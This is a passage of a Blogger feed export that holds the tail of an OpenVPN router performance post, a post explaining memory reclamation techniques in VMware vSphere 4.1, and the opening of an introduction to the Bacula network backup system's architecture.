name=&quot;Feilner06&quot;&gt;&lt;/a&gt;[Feilner06] M. Feilner, OpenVPN: Building and Integrating Virtual Private Networks, Packt Publishing, 2006.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Jain91&quot;&gt;&lt;/a&gt;[Jain91] R.K. Jain, The Art of Computer Systems Performance Analysis: Techniques for Experimental Design, Measurement, Simulation, and Modeling, Wiley, 1991.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Joha08&quot;&gt;&lt;/a&gt;[Joha08] A. Joha, F. Ben Shatwan, and M. Ashibani, &quot;Remote Access VPNs Performance Comparison between Windows Server 2003 and Fedora Core 6,&quot; Home Networking, 2008, pp. 329-343; &lt;a href=&quot;http://dx.doi.org/10.1007/978-0-387-77216-5_24&quot;&gt;http://dx.doi.org/10.1007/978-0-387-77216-5_24&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Iperf&quot;&gt;&lt;/a&gt;[Iperf] &quot;Iperf - Wikipedia, the free encyclopedia&quot;; &lt;a href=&quot;http://en.wikipedia.org/wiki/Iperf&quot;&gt;http://en.wikipedia.org/wiki/Iperf&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Khanvilkar04&quot;&gt;&lt;/a&gt;[Khanvilkar04] S. Khanvilkar and A. Khokhar, &quot;Virtual private networks: an overview with performance evaluation,&quot; Communications Magazine, IEEE, vol. 42, 2004, pp. 146-154.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Kolesnikov02&quot;&gt;&lt;/a&gt;[Kolesnikov02] O. Kolesnikov and B. Hatch, Building Linux Virtual Private Networks (VPNs), Sams, 2002.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Linksys&quot;&gt;&lt;/a&gt;[Linksys] &quot;Linksys - A Division of Cisco&quot;; &lt;a href=&quot;http://www.linksys.com/&quot;&gt;http://www.linksys.com&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;McGregor00&quot;&gt;&lt;/a&gt;[McGregor00] J. McGregor and R. Lee, &quot;Performance impact of data compression on virtual private network transactions,&quot; Local Computer Networks, 2000. LCN 2000. Proceedings. 25th Annual IEEE Conference on, 2000, pp. 500-510.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;MMC Tutorial&quot;&gt;&lt;/a&gt;[MMC Tutorial] &quot;OpenWrtDocs/Customizing/Hardware/MMC - OpenWrt&quot;; &lt;a href=&quot;http://wiki.openwrt.org/OpenWrtDocs/Customizing/Hardware/MMC&quot;&gt;http://wiki.openwrt.org/OpenWrtDocs/Customizing/Hardware/MMC&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;NIST&quot;&gt;&lt;/a&gt;[NIST] &quot;NIST.gov - Computer Security Division - Computer Security Resource Center&quot;; &lt;a href=&quot;http://csrc.nist.gov/groups/ST/toolkit/index.html&quot;&gt;http://csrc.nist.gov/groups/ST/toolkit/index.html&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;OpenSSL&quot;&gt;&lt;/a&gt;[OpenSSL] &quot;OpenSSL: The Open Source toolkit for SSL/TLS&quot;; &lt;a href=&quot;http://www.openssl.org/&quot;&gt;http://www.openssl.org&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;OpenWrt&quot;&gt;&lt;/a&gt;[OpenWrt] &quot;OpenWrt&quot;; &lt;a href=&quot;http://openwrt.org/&quot;&gt;http://openwrt.org&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;OpenVPN&quot;&gt;&lt;/a&gt;[OpenVPN] &quot;Welcome to OpenVPN&quot;; &lt;a href=&quot;http://openvpn.net/&quot;&gt;http://openvpn.net&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;OpenVPN/DD-WRT wiki&quot;&gt;&lt;/a&gt;[OpenVPN/DD-WRT wiki] &quot;OpenVPN - DD-WRT Wiki&quot;; &lt;a href=&quot;http://www.dd-wrt.com/wiki/index.php/OpenVPN&quot;&gt;http://www.dd-wrt.com/wiki/index.php/OpenVPN&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;OpenVPN HOWTO&quot;&gt;&lt;/a&gt;[OpenVPN HOWTO] &quot;OpenVPN 2.0 HOWTO,&quot; OpenVPN; &lt;a href=&quot;http://openvpn.net/index.php/documentation/howto.html&quot;&gt;http://openvpn.net/index.php/documentation/howto.html&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;SYSSTAT&quot;&gt;&lt;/a&gt;[SYSSTAT] &quot;SYSSTAT&quot;; &lt;a href=&quot;http://pagesperso-orange.fr/sebastien.godard&quot;&gt;http://pagesperso-orange.fr/sebastien.godard&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Titz01&quot;&gt;&lt;/a&gt;[Titz01] O. Titz, Why TCP Over TCP Is A Bad Idea, April, 2001; &lt;a href=&quot;http://sites.inka.de/sites/bigred/devel/tcp-tcp.html&quot;&gt;http://sites.inka.de/sites/bigred/devel/tcp-tcp.html&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Tcpdump&quot;&gt;&lt;/a&gt;[Tcpdump] JWS. &quot;TCPDUMP Public Repository&quot;. Official Product Website. &lt;a href=&quot;http://www.tcpdump.org/&quot;&gt;http://www.tcpdump.org&lt;/a&gt;. Website for Packet Capture / Sniffing tool.&lt;/li&gt;&lt;li&gt;&lt;a name=&quot;Wireshark&quot;&gt;&lt;/a&gt;[Wireshark] CACE Technologies. &quot;Wireshark: The World&#39;s Most Popular Network Protocol Analyzer&quot;. Official Product Website. &lt;a href=&quot;http://www.wireshark.org/&quot;&gt;http://www.wireshark.org&lt;/a&gt;. Website for Packet Capture / Sniffing tool.&lt;/li&gt;&lt;/ol&gt;&lt;hr style=&quot;font-size: medium; &quot;&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;acro&quot;&gt;&lt;/a&gt;List of Acronyms&lt;/h2&gt;&lt;table border=&quot;0&quot; style=&quot;font-size: medium; &quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width=&quot;120&quot;&gt;Acronym&lt;/th&gt;&lt;th&gt;Definition&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3DES&lt;/td&gt;&lt;td&gt;Triple DES&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AES&lt;/td&gt;&lt;td&gt;Advanced Encryption Standard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CBC&lt;/td&gt;&lt;td&gt;Cipher Block Chaining&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CPU&lt;/td&gt;&lt;td&gt;Central Processing Unit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DES&lt;/td&gt;&lt;td&gt;Data Encryption Standard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DNS&lt;/td&gt;&lt;td&gt;Domain Name System&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GPL&lt;/td&gt;&lt;td&gt;General Public License&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ICMP&lt;/td&gt;&lt;td&gt;Internet Control Message Protocol&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;IP&lt;/td&gt;&lt;td&gt;Internet Protocol&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LZO&lt;/td&gt;&lt;td&gt;Lempel-Ziv-Oberhumer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MAC&lt;/td&gt;&lt;td&gt;Medium Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MMC&lt;/td&gt;&lt;td&gt;MultiMediaCard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;MPEG&lt;/td&gt;&lt;td&gt;Moving Picture Experts Group&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NIC&lt;/td&gt;&lt;td&gt;Network Interface Controller&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NIST&lt;/td&gt;&lt;td&gt;National Institute of Standards and Technology&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OSI&lt;/td&gt;&lt;td&gt;Open Systems Interconnection&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RAM&lt;/td&gt;&lt;td&gt;Random Access Memory&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RFC&lt;/td&gt;&lt;td&gt;Request for Comments&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RTT&lt;/td&gt;&lt;td&gt;Round-Trip Time&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SD&lt;/td&gt;&lt;td&gt;SecureDigital&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SSL&lt;/td&gt;&lt;td&gt;Secure Socket Layer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SUT&lt;/td&gt;&lt;td&gt;System Under Test&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TAP&lt;/td&gt;&lt;td&gt;Network TAP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TCP&lt;/td&gt;&lt;td&gt;Transport Control Protocol&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TLS&lt;/td&gt;&lt;td&gt;Transport Layer Security&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TUN&lt;/td&gt;&lt;td&gt;Network TUNnel&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;UDP&lt;/td&gt;&lt;td&gt;User Datagram Protocol&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;VoIP&lt;/td&gt;&lt;td&gt;Voice over Internet Protocol&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;VPN&lt;/td&gt;&lt;td&gt;Virtual Private Network&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/4174906315195486691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/4174906315195486691' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4174906315195486691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/4174906315195486691'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/10/performance-analysis-of-openvpn-on.html' title='Performance Analysis of OpenVPN on a Consumer Grade Router'/><author><name>lili</name><uri>http://www.blogger.com/profile/18193075236725347934</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-6290773885352804872</id><published>2011-09-12T22:41:00.000-07:00</published><updated>2011-09-12T22:43:55.562-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Memory Management in vSphere"/><title type='text'>Memory Management in vSphere</title><content type='html'>&lt;p&gt;VMware vSphere is definitely the most efficient Hypervisor in  managing the Hardware resources of the host like CPU,Memory,Storage and  Network . Understanding how these resources are efficiently managed by  the Hypervisor would help Virtualization Administrators efficiently plan  and manage their environment . This post is to give a basic idea on  various components involved and the memory management techniques  employed by VMware vSphere 4.1 . This blog is based on the &lt;a title=&quot;Memory Resource management in vSphere 4.1&quot; href=&quot;http://www.vmware.com/files/pdf/techpaper/vsp_41_perf_memory_mgmt.pdf&quot; target=&quot;_blank&quot;&gt;Memory Resource Mangement in vSphere 4.1&lt;/a&gt;  white paper by VMware . Please note that each Virtual machine’s target  memory allocation is dynamic and is dependent on current load on the  host and memory allocated to the Virtual machine along with its  associated parameters like Shares , Reservation and Limits .       &lt;/p&gt; &lt;p&gt;Below are certain terminologies commonly used in VMware ESX whose  understanding would help administrators understand these techniques  better  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;Host Physical memory - Amount of memory available on the host that is visible to the hypervisor.&lt;/li&gt;&lt;li&gt;Guest Physical memory -Amount of memory that is visible to a guest OS running inside a VM.&lt;/li&gt;&lt;li&gt;Consumed memory - This is the amount of host memory that has been allocated to a Virtual machine .&lt;/li&gt;&lt;li&gt;Active memory - This is the amount of guest memory that is actively used by the applications and guest OS .&lt;/li&gt;&lt;li&gt;Guest level paging -Transfer of Memory between the guest physical memory and guest swap . This is driven by the Guest OS.&lt;/li&gt;&lt;li&gt;Hypervisor Swapping – Transfer of memory between guest physical memory and host swap . This is driven by the hypervisor.&lt;/li&gt;&lt;li&gt;Guest virtual memory – Continuous virtual address space provided by the guest OS to its applications.&lt;/li&gt;&lt;li&gt;Shares – Entitles a VM to a fraction of available host physical memory, based on a proportional-share allocation policy.&lt;/li&gt;&lt;li&gt;Reservation – Guaranteed amount of  minimum host physical memory the host reserves for a virtual machine .&lt;/li&gt;&lt;li&gt;Limit – Maximum amount of host physical memory allocated for a virtual machine . Default is unlimited .&lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Memory Management and Reclamation techniques :&lt;/span&gt;&lt;/strong&gt;       &lt;/p&gt; &lt;p&gt;Ever wondered how ESX is able to over commit memory to the Virtual  machines . By over commit I mean that the total sum of memory allocated  to Virtual machines running on a host is greater than the available  physical memory on the host . There are various memory reclamation  techniques employed by ESX to achieve this namely ,       &lt;/p&gt; &lt;ul&gt;&lt;li&gt;TPS – Transparent Page sharing helps reclaim memory by removing redundant pages on the memory with identical content .     &lt;/li&gt;&lt;li&gt;Ballooning – Memory is reclaimed by artificially increasing the memory pressure inside a VM .     &lt;/li&gt;&lt;li&gt;Swapping : Hypervisor swapping help reclaim memory by swapping out  guest memory onto swap created for every VM by hypervisor .     &lt;/li&gt;&lt;li&gt;Memory Compression :  Reclaims memory by compressing pages that  needs to be swapped out into Compression cache created for every VM on  the  host physical memory .     &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Transparent Page sharing :&lt;/span&gt;&lt;/strong&gt;       &lt;/p&gt; &lt;p&gt;When multiple Virtual machines running in a host are running same  guest OS or at times same guest OS and Application , we would see a  lot  of identical content on the memory . Instead of storing redundant  content it is enough if we store a single identical copy on the  host physical memory and allow multiple VM’s to access  this identical copy  . This is the basic mechanism behind please note  that this operation is invisible to the Virtual Machine and is performed  at the hypervisor level and therefore there is no chance of leakage of  sensitive information between Virtual machines .       &lt;/p&gt; &lt;p&gt;Redundant pages are identified by their content and  hashing algorithm is used to identify the redundant content from the  guest physical memory . ESX scans the guest physical memory content at a  specified rate for sharing opportunities . TPS is always ” ON ” and has  the least overhead .       &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Ballooning :&lt;/span&gt;&lt;/strong&gt;       &lt;/p&gt; &lt;p&gt;Remember I had mentioned earlier in my post that a VM’s target memory  allocation is dynamic and ESX allocates memory on demand to the VM  based on the various parameters like shares , reservation , limits and  host memory . Let’s take for example a VM has consumed 2 GB of RAM  during its peak operations but is currently running with 1 GB active  memory only . Say if there is a memory crunch on the host running this  VM , Although the VM is currently using 1 GB of RAM only it will not  release the additional 1 GB that it has freed since the VM is isolated  and is not aware of  host memory shortage on the hypervisor .   Ballooning makes the Guest OS aware of the low memory status of the  host and help reclaim memory .       &lt;/p&gt; &lt;p&gt;Ballooning is achieved using Balloon drivers which  are loaded into  Guest OS running inside Virtual machines using VMware Tools . These  drivers load as a pseudo-device driver and communicates with the  hypervisor using a private channel . When the host in need of physical  memory , the host will set a target balloon size for the balloon driver  and in turn the balloon driver will inflate inside the Guest OS by  allocating guest physical pages within the VM . What will happen is the  Guest OS will page out the contents from the host physical memory . Once  this is completed the balloon driver notifies the hypervisor which can  now safely reclaim the freed memory . Please note that If the virtual  machine has plenty of free guest physical memory ( as described in the  example above ) , inflating the balloon will induce no paging and will  not impact guest performance. Guest OS has to make the decision on what  pages needs to be paged out and hypervisor has no call on this .       &lt;/p&gt; &lt;p&gt;Ballooning is employed when these is memory pressure on the host .  Ballooning will offload host memory pressure onto the VM as VM will now  use less physical memory on the host and more physical memory inside the  guest . Ballooning is employed as the first technique to reclaim memory  whenever the host is under memory pressure . Please note that TPS is  always enabled .       &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Swapping :&lt;/span&gt;&lt;/strong&gt;       &lt;/p&gt; &lt;p&gt;A Swap file is created for every VM on startup and is deleted when  the VM is powered off . The size of the swap file is directly  proportional to the amount of RAM that has been allocated to the VM .  Swapping is invoked when memory reclaim from TPS and Ballooning is  not sufficient enough to reduce host memory pressure . When swapping is  invoked hypervisor will swap out guest physical memory to the swap file  that was created on the VM startup . This will free up host physical  memory and reduce the memory pressure on the host . This is a guaranteed  technique to reclaim a specific amount of physical memory in  the quickest time possible among the three techniques but then  considering the overhead involved this is the last resort that ESX will  use to reclaim memory . Please note that the swap file that has been  created by the hypervisor for each and every VM  is on the disk and  Hypervisor swapping and further access of these pages by the VM will  make the VM responsiveness slow .       &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Memory Compression :&lt;/span&gt;&lt;/strong&gt;       &lt;/p&gt; &lt;p&gt;Remember when hypervisor swapping is invoked pages are swapped out  from guest physical memory to swap file created on the disk by  hypervisor which will have latency . Memory Compression tries to  compress the pages that needs to be swapped in a compression cache that  is allocated per VM on the host physical memory itself . When these  pages needs to be accessed b y the VM they will be uncompressed and  presented which will be faster than a disk access in case of swapping .  Please note that ESX will not proactively compress guest pages when host  swapping is not required .       &lt;/p&gt; &lt;p&gt;The per-VM compression cache is accounted for by the VM’s guest  memory usage, which means ESX will not allocate additional host physical  memory to store the compressed pages. If the compression cache is full,  one compressed page must be replaced in order to make room for a new  compressed page. An age-based replacement policy is used to choose the  target page. The target page will be decompressed and swapped out. ESX  will not swap out compressed pages.In ESX 4.1, the default maximum  compression cache size is conservatively set to 10% of configured VM  memory size .       &lt;/p&gt; &lt;div&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/span&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration:underline;&quot;&gt;Memory States in ESX Server&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt; &lt;/div&gt; &lt;p&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;There are four memory states that are maintained by the ESX Server &lt;/span&gt; &lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;High – 6% Threshold of  Total Host Memory&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;Soft – 4%  Threshold of Total Host Memory&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;Hard – 2% Threshold of Total Host Memory&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;Low – 1% Threshold of Total Host Memory&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;Why are these States important ? What does these States denote ?&lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;span style=&quot;font-weight:normal;&quot;&gt;As mentioned earlier , TPS is  enabled by default in the ESX Server . Host Memory free states in ESX  Server determines when to invoke Ballooning and Swapping ( activates  memory compression as well )&lt;/span&gt; &lt;/p&gt; &lt;p&gt;When the memory state is high , it indicates that the total amount of  active memory used by the all VMs in a host is less than total host  memory .This means that the host will not invoke ballooning or swapping  as long as the state is high . This is valid only if limits are not set  for the VM’s . &lt;/p&gt; &lt;p&gt;If host free memory drops towards the soft threshold, the hypervisor  starts to reclaim memory using ballooning. Ballooning happens before  free memory actually reaches the soft threshold because it takes time  for the balloon driver to allocate and pin guest physical memory.  Usually, the balloon driver is able to reclaim memory in a timely  fashion so that the host free memory stays above the soft  threshold.      &lt;/p&gt; &lt;p&gt;If ballooning is not sufficient to reclaim memory or the host free  memory drops towards the hard threshold, the hypervisor starts to use  swapping in addition to using ballooning. During swapping, memory  compression is activated as well. With host swapping and memory  compression, the hypervisor should be able to quickly reclaim memory and  bring the host memory state back to the soft state.      &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Note : &lt;/strong&gt;In certain scenarios, host memory reclamation  happens regardless of the current host free memory state. For example,  even if host free memory is in the high state, memory reclamation is  still mandatory when a virtual machine’s memory usage exceeds its  specified memory limit. If this happens, the hypervisor will employ  ballooning and, if necessary, swapping and memory compression to reclaim  memory from the virtual machine until the virtual machine’s host memory  usage falls back to its specified limit.      &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;What are the benefits of these memory management techniques ?     &lt;/strong&gt; &lt;/p&gt;  &lt;ul&gt;&lt;li&gt;Better Utilization of available Memory&lt;/li&gt;&lt;li&gt;Higher Consolidation Ratio&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;text-align: right; font-style: italic;&quot;&gt;Wrote by Sudharsan&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/6290773885352804872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/6290773885352804872' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6290773885352804872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/6290773885352804872'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/09/memory-management-in-vsphere.html' title='Memory Management in vSphere'/><author><name>lili</name><uri>http://www.blogger.com/profile/18193075236725347934</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-5347044275690543195</id><published>2011-05-16T21:31:00.000-07:00</published><updated>2011-05-16T21:36:40.686-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bacula - Open Source network backup and restore solution"/><title type='text'>Bacula - Open Source network backup and restore solution</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6JgbpM-ZzoSKWKy8JMs0uIAKFB8IvTA4AlFt9Qsw9HxdtI1FHB51fy-f7n-E_huJ13Vz7qIgdF6lJPsGOwX-2WCFZ3sOJzmV9LGLdEXkRcOC90C3YtlPlxW9_8PZSvW8Aqq2-KO9Ke5TQ/s1600/interactions+between+services.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s1600/bacula-application-interactions.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s1600/bacula-application-interactions.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRmRBVE1VstoOzBKZJT4XwifWuXqK7dS3X1DkIu5J299RCS-_jzlgEmp10z-R6hv8J_m-t8igkTWgS1DS1YJCsJmRAWPtwv1OK5QwMiqGBfewsiFbr6mKoIMnO_QsbJBSwPYpx6iDbep4-/s1600/bacula-application-interactions.jpg&quot; onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot;&gt;&lt;/a&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;1 . INTRODUCTION&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Bacula is a set of Open Source, enterprise ready, computer programs that permit you (or the system administrator) to manage backup, recovery, and verification of computer data across a network of computers of different kinds. Bacula is relatively easy to use and efficient, while offering many advanced storage management features that make it easy to find and recover&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;lost or damaged files. In technical terms, it is an Open Source, enterprise ready, network based backup program.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;2 . BACULA ARCHITECUTURE&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;BACULA DIRECTOR&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The Bacula Director service is the program that supervises all the backup, restore, verify and archive operations. The system administrator uses the Bacula Director to schedule backups and to recover files. For more details see the Director Services Daemon Design Document in the Bacula Developer&#39;s Guide. The Director runs as a daemon (or service) in the background.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;BACULA CONSOLE&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The Bacula Console service is the program that allows the administrator or user to communicate with the Bacula Director Currently, the Bacula Console is available in three versions: text-based console interface, QT-based interface, and a wxWidgets graphical interface. The first and simplest is to run the Console program in a shell window (i.e. TTY interface). Most system&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;administrators will find this completely adequate. The second version is a GNOME GUI interface that is far from complete, but quite functional as it has most the capabilities of the shell Console. The third version is a wxWidgets GUI with an interactive file restore. It also has most of the capabilities of the shell console, allows command completion with tabulation, and gives you instant help about the command you are typing. For more details see the Bacula Console Design Document_ConsoleChapter.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;BACULA FILE&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The Bacula File service (also known as the Client program) i&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;s the software program that is installed on the machine to be backed up. It is specific to the operating system on which it runs and is responsible for providing the file attributes and data when requested by the Director. The File services are also responsible for the file system dependent part of restoring the file attributes and data during a recovery operation. For more details see the File Services Daemon Design Document in the Bacula Developer&#39;s Guide. This program runs as a daemon on the machine to be backed up. In addition to Unix/Linux File daemons, there is a Windows File daemon (normally distributed in binary format). The Windows File daemon runs on current Windows versions (NT, 2000, XP, 2003, and possibly Me and 98).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;b&gt;BACULA STORAGE&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;The Bacula Storage services consist of the software programs that perform the storage and recovery of the file attributes and data to the physical backup media or volumes. In other words, the Storage daemon is responsible for reading and writing your tapes (or other storage media, e.g. files). For more details see the Storage Services Daemon Design Document in the Bacula Developer&#39;s Guide. The Storage services runs as a daemon on the machine that has the backup device (usually a tape drive).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span 